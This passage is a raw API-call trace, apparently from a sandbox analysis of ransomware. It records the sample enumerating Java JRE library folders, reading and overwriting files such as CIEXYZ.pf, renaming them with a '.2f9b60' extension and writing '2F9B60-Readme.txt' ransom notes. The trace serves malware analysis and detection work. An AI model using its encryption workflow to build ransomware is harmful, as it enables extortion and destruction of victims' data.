_Dest="25") returned 2 [0206.241] sprintf (in: _Dest=0x4205bf00, _Format="%c%c" | out: _Dest="9e") returned 2 [0206.241] sprintf (in: _Dest=0x4205bf02, _Format="%c%c" | out: _Dest="03") returned 2 [0206.241] RtlInitAnsiString (in: DestinationString=0x2961f868, SourceString="524133455a9b405185f09f4be0790f259e03" | out: DestinationString="524133455a9b405185f09f4be0790f259e03") [0206.241] RtlAnsiStringToUnicodeString (in: DestinationString=0x2961f838, SourceString="524133455a9b405185f09f4be0790f259e03", AllocateDestinationString=1 | out: DestinationString="524133455a9b405185f09f4be0790f259e03") returned 0x0 [0206.241] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x4a) returned 0x1cd9ce50 [0206.242] wcscat (in: _Dest=0x42060cb0, _Source="524133455" | out: _Dest="C:\\Program Files (x86)\\Java\\jre7\\lib\\524133455") returned="C:\\Program Files (x86)\\Java\\jre7\\lib\\524133455" [0206.242] wcscat (in: _Dest=0x42060cb0, _Source=".2f9b60" | out: _Dest="C:\\Program Files (x86)\\Java\\jre7\\lib\\524133455.2f9b60") returned="C:\\Program Files (x86)\\Java\\jre7\\lib\\524133455.2f9b60" [0206.242] RtlDosPathNameToNtPathName_U (in: DosPathName="C:\\Program Files (x86)\\Java\\jre7\\lib\\524133455.2f9b60", NtPathName=0x2961f810, NtFileNamePart=0x0, DirectoryInfo=0x0 | out: NtPathName="\\??\\C:\\Program Files (x86)\\Java\\jre7\\lib\\524133455.2f9b60", NtFileNamePart=0x0, DirectoryInfo=0x0) returned 1 [0206.242] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x8a) returned 0x20508450 [0218.125] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x20508450) returned 1 [0218.125] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x43228300) returned 1 [0218.125] NtQueryInformationFile (in: FileHandle=0x1e7c, IoStatusBlock=0x2961f878, FileInformation=0x2961f888, Length=0x28, FileInformationClass=0x4 | out: IoStatusBlock=0x2961f878, FileInformation=0x2961f888) returned 0x0 [0218.125] NtSetInformationFile (FileHandle=0x1e7c, IoStatusBlock=0x2961f878, FileInformation=0x2961f888, Length=0x28, FileInformationClass=0x4) returned 0x0 [0222.208] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x42060cb0) returned 1 [0222.209] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1cd9ce50) returned 1 [0222.209] FlushFileBuffers (hFile=0x1e7c) returned 1 [0222.592] CloseHandle (hObject=0x1e7c) returned 1 [0224.736] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x70) returned 0x420612b0 [0224.737] wcscpy (in: _Dest=0x420612b0, _Source="C:\\Program Files (x86)\\Java\\jre7\\lib\\" | out: _Dest="C:\\Program Files (x86)\\Java\\jre7\\lib\\") returned="C:\\Program Files (x86)\\Java\\jre7\\lib\\" [0224.737] wcscat (in: _Dest=0x420612b0, _Source="2F9B60-Readme.txt" | out: _Dest="C:\\Program Files (x86)\\Java\\jre7\\lib\\2F9B60-Readme.txt") returned="C:\\Program Files (x86)\\Java\\jre7\\lib\\2F9B60-Readme.txt" [0224.737] GetFileAttributesW (lpFileName="C:\\Program Files (x86)\\Java\\jre7\\lib\\2F9B60-Readme.txt" (normalized: "c:\\program files (x86)\\java\\jre7\\lib\\2f9b60-readme.txt")) returned 0x20 [0224.738] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x420612b0) returned 1 [0224.739] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b8639d0) returned 1 Thread: id = 2068 os_tid = 0x1354 [0138.190] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x56) returned 0x1cd9ce50 [0138.190] wcscpy (in: _Dest=0x1cd9ce50, _Source="C:\\Program Files (x86)\\Java\\jre7\\lib\\cmm" | out: _Dest="C:\\Program Files (x86)\\Java\\jre7\\lib\\cmm") returned="C:\\Program Files (x86)\\Java\\jre7\\lib\\cmm" [0138.190] wcscat (in: _Dest=0x1cd9ce50, _Source="\\" | out: _Dest="C:\\Program Files (x86)\\Java\\jre7\\lib\\cmm\\") returned="C:\\Program Files (x86)\\Java\\jre7\\lib\\cmm\\" [0138.190] wcscat (in: _Dest=0x1cd9ce50, _Source="*" | out: _Dest="C:\\Program Files (x86)\\Java\\jre7\\lib\\cmm\\*") returned="C:\\Program Files (x86)\\Java\\jre7\\lib\\cmm\\*" [0138.190] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x250) returned 0x2027f3e0 [0138.190] FindFirstFileW (in: lpFileName="C:\\Program Files (x86)\\Java\\jre7\\lib\\cmm\\*", lpFindFileData=0x2027f3e0 | out: lpFindFileData=0x2027f3e0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x7444ab00, ftCreationTime.dwHighDateTime=0x1d2e627, ftLastAccessTime.dwLowDateTime=0x7444ab00, ftLastAccessTime.dwHighDateTime=0x1d2e627, ftLastWriteTime.dwLowDateTime=0x7444ab00, ftLastWriteTime.dwHighDateTime=0x1d2e627, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x1ced62e0 [0138.191] wcscmp (_String1=".", _String2=".") returned 0 [0138.191] FindNextFileW (in: hFindFile=0x1ced62e0, lpFindFileData=0x2027f3e0 | out: lpFindFileData=0x2027f3e0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x7444ab00, ftCreationTime.dwHighDateTime=0x1d2e627, ftLastAccessTime.dwLowDateTime=0x7444ab00, ftLastAccessTime.dwHighDateTime=0x1d2e627, ftLastWriteTime.dwLowDateTime=0x7444ab00, ftLastWriteTime.dwHighDateTime=0x1d2e627, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0138.191] wcscmp (_String1="..", _String2=".") returned 1 [0138.191] wcscmp (_String1="..", _String2="..") returned 0 [0138.191] FindNextFileW (in: hFindFile=0x1ced62e0, lpFindFileData=0x2027f3e0 | out: lpFindFileData=0x2027f3e0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7444ab00, ftCreationTime.dwHighDateTime=0x1d2e627, ftLastAccessTime.dwLowDateTime=0x7444ab00, ftLastAccessTime.dwHighDateTime=0x1d2e627, ftLastWriteTime.dwLowDateTime=0x7444ab00, ftLastWriteTime.dwHighDateTime=0x1d2e627, nFileSizeHigh=0x0, nFileSizeLow=0xc824, dwReserved0=0x0, dwReserved1=0x0, cFileName="CIEXYZ.pf", cAlternateFileName="")) returned 1 [0138.191] wcscmp (_String1="CIEXYZ.pf", _String2=".") returned 1 [0138.191] wcscmp (_String1="CIEXYZ.pf", _String2="..") returned 1 [0138.191] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x66) returned 0x1ced9470 [0138.191] wcscpy (in: _Dest=0x1ced9470, _Source="C:\\Program Files (x86)\\Java\\jre7\\lib\\cmm" | out: _Dest="C:\\Program Files (x86)\\Java\\jre7\\lib\\cmm") returned="C:\\Program Files (x86)\\Java\\jre7\\lib\\cmm" [0138.191] wcscat (in: _Dest=0x1ced9470, _Source="\\" | out: _Dest="C:\\Program Files (x86)\\Java\\jre7\\lib\\cmm\\") returned="C:\\Program Files (x86)\\Java\\jre7\\lib\\cmm\\" [0138.191] wcscat (in: _Dest=0x1ced9470, _Source="CIEXYZ.pf" | out: _Dest="C:\\Program Files (x86)\\Java\\jre7\\lib\\cmm\\CIEXYZ.pf") returned="C:\\Program Files (x86)\\Java\\jre7\\lib\\cmm\\CIEXYZ.pf" [0151.910] GetFileAttributesW (lpFileName="C:\\Program Files (x86)\\Java\\jre7\\lib\\cmm\\CIEXYZ.pf" (normalized: "c:\\program files (x86)\\java\\jre7\\lib\\cmm\\ciexyz.pf")) returned 0x20 [0151.916] SetFileAttributesW (lpFileName="C:\\Program Files (x86)\\Java\\jre7\\lib\\cmm\\CIEXYZ.pf", dwFileAttributes=0x20) returned 1 [0151.917] CreateFileW (lpFileName="C:\\Program Files (x86)\\Java\\jre7\\lib\\cmm\\CIEXYZ.pf" (normalized: "c:\\program files (x86)\\java\\jre7\\lib\\cmm\\ciexyz.pf"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80000000, hTemplateFile=0x0) returned 0x25a0 [0151.917] GetFileSizeEx (in: hFile=0x25a0, lpFileSize=0x343bf640 | out: lpFileSize=0x343bf640*=51236) returned 1 [0151.917] SetFilePointerEx (in: hFile=0x25a0, liDistanceToMove=0xc820, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0151.917] ReadFile (in: hFile=0x25a0, lpBuffer=0x343bf5c0, nNumberOfBytesToRead=0x4, lpNumberOfBytesRead=0x343bf608, lpOverlapped=0x0 | out: lpBuffer=0x343bf5c0*, lpNumberOfBytesRead=0x343bf608*=0x4, lpOverlapped=0x0) returned 1 [0151.923] SetFilePointerEx (in: hFile=0x25a0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0151.923] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x20500290 [0151.924] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x20500380 [0151.924] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x20500410 [0151.924] NtQuerySystemTime (in: CurrentTime=0x343bf500 | out: CurrentTime=0x343bf500*=132462177571306000) returned 0x0 [0151.924] RtlRandomEx (in: Seed=0x343bf4f0 | out: Seed=0x343bf4f0) returned 0x46958b25 [0151.924] RtlRandomEx (in: Seed=0x343bf4f0 | out: Seed=0x343bf4f0) returned 0x103198cb [0151.924] RtlRandomEx (in: Seed=0x343bf4f0 | out: Seed=0x343bf4f0) returned 0x7b1427d3 [0151.924] RtlRandomEx (in: Seed=0x343bf4f0 | out: Seed=0x343bf4f0) returned 0xf71d5ab [0151.924] RtlRandomEx (in: Seed=0x343bf4f0 | out: Seed=0x343bf4f0) returned 0x2327c339 [0151.924] RtlRandomEx (in: Seed=0x343bf4f0 | out: Seed=0x343bf4f0) returned 0x63d436a9 [0151.925] RtlRandomEx (in: Seed=0x343bf4f0 | out: Seed=0x343bf4f0) returned 0x5b605667 [0151.925] RtlRandomEx (in: Seed=0x343bf4f0 | out: Seed=0x343bf4f0) returned 0x6c56dfbc [0151.925] RtlRandomEx (in: Seed=0x343bf4f0 | out: Seed=0x343bf4f0) returned 0x6ed01b5e [0151.925] RtlRandomEx (in: Seed=0x343bf4f0 | out: Seed=0x343bf4f0) returned 0x5adb21c8 [0151.925] RtlRandomEx (in: Seed=0x343bf4f0 | out: Seed=0x343bf4f0) returned 0x3cef4016 [0151.925] RtlRandomEx (in: Seed=0x343bf4f0 | out: Seed=0x343bf4f0) returned 0x1df32efe [0151.925] RtlRandomEx (in: Seed=0x343bf4f0 | out: Seed=0x343bf4f0) returned 0x62089a6a [0151.925] RtlRandomEx (in: Seed=0x343bf4f0 | out: Seed=0x343bf4f0) returned 0x5bb8ffbb [0151.925] RtlRandomEx (in: Seed=0x343bf4f0 | out: Seed=0x343bf4f0) returned 0x3fe4b0 [0151.925] RtlRandomEx (in: Seed=0x343bf4f0 | out: Seed=0x343bf4f0) returned 0x43b9d1c2 [0151.925] RtlRandomEx (in: Seed=0x343bf4f0 | out: Seed=0x343bf4f0) returned 0xfe140cf [0151.925] RtlRandomEx (in: Seed=0x343bf4f0 | out: Seed=0x343bf4f0) returned 0xd9eb163 [0151.925] RtlRandomEx (in: Seed=0x343bf4f0 | out: Seed=0x343bf4f0) returned 0x32b9e85a [0151.925] RtlRandomEx (in: Seed=0x343bf4f0 | out: Seed=0x343bf4f0) returned 0x4aac7b36 [0151.925] RtlRandomEx (in: Seed=0x343bf4f0 | out: Seed=0x343bf4f0) returned 0x48b12f4f [0151.925] RtlRandomEx (in: Seed=0x343bf4f0 | out: Seed=0x343bf4f0) returned 0x62297133 [0151.925] RtlRandomEx (in: Seed=0x343bf4f0 | out: Seed=0x343bf4f0) returned 0x7148a7ab [0151.925] RtlRandomEx (in: Seed=0x343bf4f0 | out: Seed=0x343bf4f0) returned 0x7ac47bf9 [0151.925] RtlRandomEx (in: Seed=0x343bf4f0 | out: Seed=0x343bf4f0) returned 0x4b984143 [0151.925] RtlRandomEx (in: Seed=0x343bf4f0 | out: Seed=0x343bf4f0) returned 0x18ae90c7 [0151.925] RtlRandomEx (in: Seed=0x343bf4f0 | out: Seed=0x343bf4f0) returned 0x21152125 [0151.925] RtlRandomEx (in: Seed=0x343bf4f0 | out: Seed=0x343bf4f0) returned 0x5d9f3da7 [0151.925] RtlRandomEx (in: Seed=0x343bf4f0 | out: Seed=0x343bf4f0) returned 0x10dc24af [0151.925] RtlRandomEx (in: Seed=0x343bf4f0 | out: Seed=0x343bf4f0) returned 0x392df919 [0151.925] RtlRandomEx (in: Seed=0x343bf4f0 | out: Seed=0x343bf4f0) returned 0x1c2ec7e5 [0151.925] RtlRandomEx (in: Seed=0x343bf4f0 | out: Seed=0x343bf4f0) returned 0x2d98cc5b [0151.935] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x20500440 [0151.935] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x70) returned 0x1b868f40 [0151.936] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x20500470 [0151.936] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b868f40) returned 1 [0151.936] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x20500410) returned 1 [0151.936] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x20500290) returned 1 [0151.936] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x3c00) returned 0x42588970 [0151.937] SetFilePointerEx (in: hFile=0x25a0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0151.937] ReadFile (in: hFile=0x25a0, lpBuffer=0x42588970, nNumberOfBytesToRead=0x3c00, lpNumberOfBytesRead=0x343bf560, lpOverlapped=0x0 | out: lpBuffer=0x42588970*, lpNumberOfBytesRead=0x343bf560*=0x3c00, lpOverlapped=0x0) returned 1 [0151.959] SetFilePointerEx (in: hFile=0x25a0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0151.959] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x40) returned 0x42058ab0 [0151.959] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x70) returned 0x1b868f40 [0151.959] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x20500290 [0151.959] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x20500290) returned 1 [0151.960] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x3c00) returned 0x42590190 [0151.960] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x20500290 [0151.960] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x205004a0 [0151.960] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x205004a0) returned 1 [0151.960] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b868f40) returned 1 [0151.960] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x42058ab0) returned 1 [0151.961] WriteFile (in: hFile=0x25a0, lpBuffer=0x42590190*, nNumberOfBytesToWrite=0x3c00, lpNumberOfBytesWritten=0x343bf560, lpOverlapped=0x0 | out: lpBuffer=0x42590190*, lpNumberOfBytesWritten=0x343bf560*=0x3c00, lpOverlapped=0x0) returned 1 [0163.007] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x42590190) returned 1 [0163.008] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x42588970) returned 1 [0163.008] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x202639e0 [0163.008] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x40) returned 0x42058ab0 [0163.008] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x70) returned 0x1b869240 [0163.009] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x20263a70 [0163.009] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x20263a70) returned 1 [0163.009] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x20263a70 [0163.009] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x42c19b60 [0163.010] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x42c19b90 [0163.010] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x42c19b90) returned 1 [0163.010] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b869240) returned 1 [0163.010] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x42058ab0) returned 1 [0163.011] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x104) returned 0x169b30 [0163.011] SetFilePointerEx (in: hFile=0x25a0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2 | out: lpNewFilePointer=0x0) returned 1 [0163.011] WriteFile (in: hFile=0x25a0, lpBuffer=0x169b30*, nNumberOfBytesToWrite=0x104, lpNumberOfBytesWritten=0x343bf610, lpOverlapped=0x0 | out: lpBuffer=0x169b30*, lpNumberOfBytesWritten=0x343bf610*=0x104, lpOverlapped=0x0) returned 1 [0164.911] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x40) returned 0x1ce18690 [0164.911] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x70) returned 0x1b869240 [0164.911] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x20500a10 [0164.912] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x20500a10) returned 1 [0164.912] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x12) returned 0x1b82d180 [0164.912] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x20500a10 [0164.912] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x205009e0 [0164.913] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x205009e0) returned 1 [0164.913] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b869240) returned 1 [0164.913] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1ce18690) returned 1 [0164.913] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x25) returned 0x205009e0 [0164.913] sprintf (in: _Dest=0x205009e0, _Format="%c%c" | out: _Dest="13") returned 2 [0164.913] sprintf (in: _Dest=0x205009e2, _Format="%c%c" | out: _Dest="be") returned 2 [0164.913] sprintf (in: _Dest=0x205009e4, _Format="%c%c" | out: _Dest="69") returned 2 [0164.913] sprintf (in: _Dest=0x205009e6, _Format="%c%c" | out: _Dest="3f") returned 2 [0164.913] sprintf (in: _Dest=0x205009e8, _Format="%c%c" | out: _Dest="84") returned 2 [0164.914] sprintf (in: _Dest=0x205009ea, _Format="%c%c" | out: _Dest="2c") returned 2 [0164.914] sprintf (in: _Dest=0x205009ec, _Format="%c%c" | out: _Dest="81") returned 2 [0164.914] sprintf (in: _Dest=0x205009ee, _Format="%c%c" | out: _Dest="46") returned 2 [0164.914] sprintf (in: _Dest=0x205009f0, _Format="%c%c" | out: _Dest="54") returned 2 [0164.914] sprintf (in: _Dest=0x205009f2, _Format="%c%c" | out: _Dest="19") returned 2 [0164.914] sprintf (in: _Dest=0x205009f4, _Format="%c%c" | out: _Dest="11") returned 2 [0164.914] sprintf (in: _Dest=0x205009f6, _Format="%c%c" | out: _Dest="d2") returned 2 [0164.914] sprintf (in: _Dest=0x205009f8, _Format="%c%c" | out: _Dest="8c") returned 2 [0164.914] sprintf (in: _Dest=0x205009fa, _Format="%c%c" | out: _Dest="17") returned 2 [0164.914] sprintf (in: _Dest=0x205009fc, _Format="%c%c" | out: _Dest="8a") returned 2 [0164.914] sprintf (in: _Dest=0x205009fe, _Format="%c%c" | out: _Dest="70") returned 2 [0164.914] sprintf (in: _Dest=0x20500a00, _Format="%c%c" | out: _Dest="47") returned 2 [0164.914] sprintf (in: _Dest=0x20500a02, _Format="%c%c" | out: _Dest="69") returned 2 [0164.914] RtlInitAnsiString (in: DestinationString=0x343bf688, SourceString="13be693f842c8146541911d28c178a704769" | out: DestinationString="13be693f842c8146541911d28c178a704769") [0164.914] RtlAnsiStringToUnicodeString (in: DestinationString=0x343bf658, SourceString="13be693f842c8146541911d28c178a704769", AllocateDestinationString=1 | out: DestinationString="13be693f842c8146541911d28c178a704769") returned 0x0 [0164.914] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x4a) returned 0x1cd87030 [0164.915] RtlFreeAnsiString (AnsiString="1") [0164.915] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x205009e0) returned 1 [0164.915] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b82d180) returned 1 [0164.915] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x20500a10) returned 1 [0164.916] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x169b30) returned 1 [0164.916] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x20263a70) returned 1 [0164.916] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x42c19b60) returned 1 [0164.916] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x202639e0) returned 1 [0164.916] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x20500290) returned 1 [0164.917] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x20500380) returned 1 [0164.917] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x20500440) returned 1 [0164.917] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x20500470) returned 1 [0164.917] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x74) returned 0x1b869240 [0164.918] wcscat (in: _Dest=0x1b869240, _Source="13be693f8" | out: _Dest="C:\\Program Files (x86)\\Java\\jre7\\lib\\cmm\\13be693f8") returned="C:\\Program Files (x86)\\Java\\jre7\\lib\\cmm\\13be693f8" [0164.918] wcscat (in: _Dest=0x1b869240, _Source=".2f9b60" | out: _Dest="C:\\Program Files (x86)\\Java\\jre7\\lib\\cmm\\13be693f8.2f9b60") returned="C:\\Program Files (x86)\\Java\\jre7\\lib\\cmm\\13be693f8.2f9b60" [0164.918] RtlDosPathNameToNtPathName_U (in: DosPathName="C:\\Program Files (x86)\\Java\\jre7\\lib\\cmm\\13be693f8.2f9b60", NtPathName=0x343bf630, NtFileNamePart=0x0, DirectoryInfo=0x0 | out: NtPathName="\\??\\C:\\Program Files (x86)\\Java\\jre7\\lib\\cmm\\13be693f8.2f9b60", NtFileNamePart=0x0, DirectoryInfo=0x0) returned 1 [0164.918] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x92) returned 0x42c309f0 [0165.033] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x42c309f0) returned 1 [0165.033] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x42c34390) returned 1 [0165.033] NtQueryInformationFile (in: FileHandle=0x25a0, IoStatusBlock=0x343bf698, FileInformation=0x343bf6a8, Length=0x28, FileInformationClass=0x4 | out: IoStatusBlock=0x343bf698, FileInformation=0x343bf6a8) returned 0x0 [0165.033] NtSetInformationFile (FileHandle=0x25a0, IoStatusBlock=0x343bf698, FileInformation=0x343bf6a8, Length=0x28, FileInformationClass=0x4) returned 0x0 [0165.068] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b869240) returned 1 [0165.069] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1cd87030) returned 1 [0165.069] FlushFileBuffers (hFile=0x25a0) returned 1 [0166.264] CloseHandle (hObject=0x25a0) returned 1 [0183.930] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x78) returned 0x1b8693c0 [0183.931] wcscpy (in: _Dest=0x1b8693c0, _Source="C:\\Program Files (x86)\\Java\\jre7\\lib\\cmm\\" | out: _Dest="C:\\Program Files (x86)\\Java\\jre7\\lib\\cmm\\") returned="C:\\Program Files (x86)\\Java\\jre7\\lib\\cmm\\" [0183.931] wcscat (in: _Dest=0x1b8693c0, _Source="2F9B60-Readme.txt" | out: _Dest="C:\\Program Files (x86)\\Java\\jre7\\lib\\cmm\\2F9B60-Readme.txt") returned="C:\\Program Files (x86)\\Java\\jre7\\lib\\cmm\\2F9B60-Readme.txt" [0183.931] GetFileAttributesW (lpFileName="C:\\Program Files (x86)\\Java\\jre7\\lib\\cmm\\2F9B60-Readme.txt" (normalized: "c:\\program files (x86)\\java\\jre7\\lib\\cmm\\2f9b60-readme.txt")) returned 0xffffffff [0183.931] CreateFileW (lpFileName="C:\\Program Files (x86)\\Java\\jre7\\lib\\cmm\\2F9B60-Readme.txt" (normalized: "c:\\program files (x86)\\java\\jre7\\lib\\cmm\\2f9b60-readme.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x2, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2a04 [0192.669] WriteFile (in: hFile=0x2a04, lpBuffer=0x1b82f9a0*, nNumberOfBytesToWrite=0xba9, lpNumberOfBytesWritten=0x343bf550, lpOverlapped=0x0 | out: lpBuffer=0x1b82f9a0*, lpNumberOfBytesWritten=0x343bf550*=0xba9, lpOverlapped=0x0) returned 1 [0201.226] CloseHandle (hObject=0x2a04) returned 1 [0206.115] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b8693c0) returned 1 [0206.120] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1ced9470) returned 1 [0206.120] FindNextFileW (in: hFindFile=0x1ced62e0, lpFindFileData=0x2027f3e0 | out: lpFindFileData=0x2027f3e0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7444ab00, ftCreationTime.dwHighDateTime=0x1d2e627, ftLastAccessTime.dwLowDateTime=0x7444ab00, ftLastAccessTime.dwHighDateTime=0x1d2e627, ftLastWriteTime.dwLowDateTime=0x7444ab00, ftLastWriteTime.dwHighDateTime=0x1d2e627, nFileSizeHigh=0x0, nFileSizeLow=0x278, dwReserved0=0x0, dwReserved1=0x0, cFileName="GRAY.pf", cAlternateFileName="")) returned 1 [0206.124] wcscmp (_String1="GRAY.pf", _String2=".") returned 1 [0206.124] wcscmp (_String1="GRAY.pf", _String2="..") returned 1 [0206.124] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x62) returned 0x1ced9470 [0206.124] wcscpy (in: _Dest=0x1ced9470, _Source="C:\\Program Files (x86)\\Java\\jre7\\lib\\cmm" | out: _Dest="C:\\Program Files (x86)\\Java\\jre7\\lib\\cmm") returned="C:\\Program Files (x86)\\Java\\jre7\\lib\\cmm" [0206.124] wcscat (in: _Dest=0x1ced9470, _Source="\\" | out: _Dest="C:\\Program Files (x86)\\Java\\jre7\\lib\\cmm\\") returned="C:\\Program Files (x86)\\Java\\jre7\\lib\\cmm\\" [0206.124] wcscat (in: _Dest=0x1ced9470, _Source="GRAY.pf" | out: _Dest="C:\\Program Files (x86)\\Java\\jre7\\lib\\cmm\\GRAY.pf") returned="C:\\Program Files (x86)\\Java\\jre7\\lib\\cmm\\GRAY.pf" [0206.124] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x2b4a8a0, lpParameter=0x1ced9470, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x1700 [0206.150] FindNextFileW (in: hFindFile=0x1ced62e0, lpFindFileData=0x2027f3e0 | out: lpFindFileData=0x2027f3e0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7444ab00, ftCreationTime.dwHighDateTime=0x1d2e627, ftLastAccessTime.dwLowDateTime=0x7444ab00, ftLastAccessTime.dwHighDateTime=0x1d2e627, ftLastWriteTime.dwLowDateTime=0x7444ab00, ftLastWriteTime.dwHighDateTime=0x1d2e627, nFileSizeHigh=0x0, nFileSizeLow=0x414, dwReserved0=0x0, dwReserved1=0x0, cFileName="LINEAR_RGB.pf", cAlternateFileName="LINEAR~1.PF")) returned 1 [0206.150] wcscmp (_String1="LINEAR_RGB.pf", _String2=".") returned 1 [0206.150] wcscmp 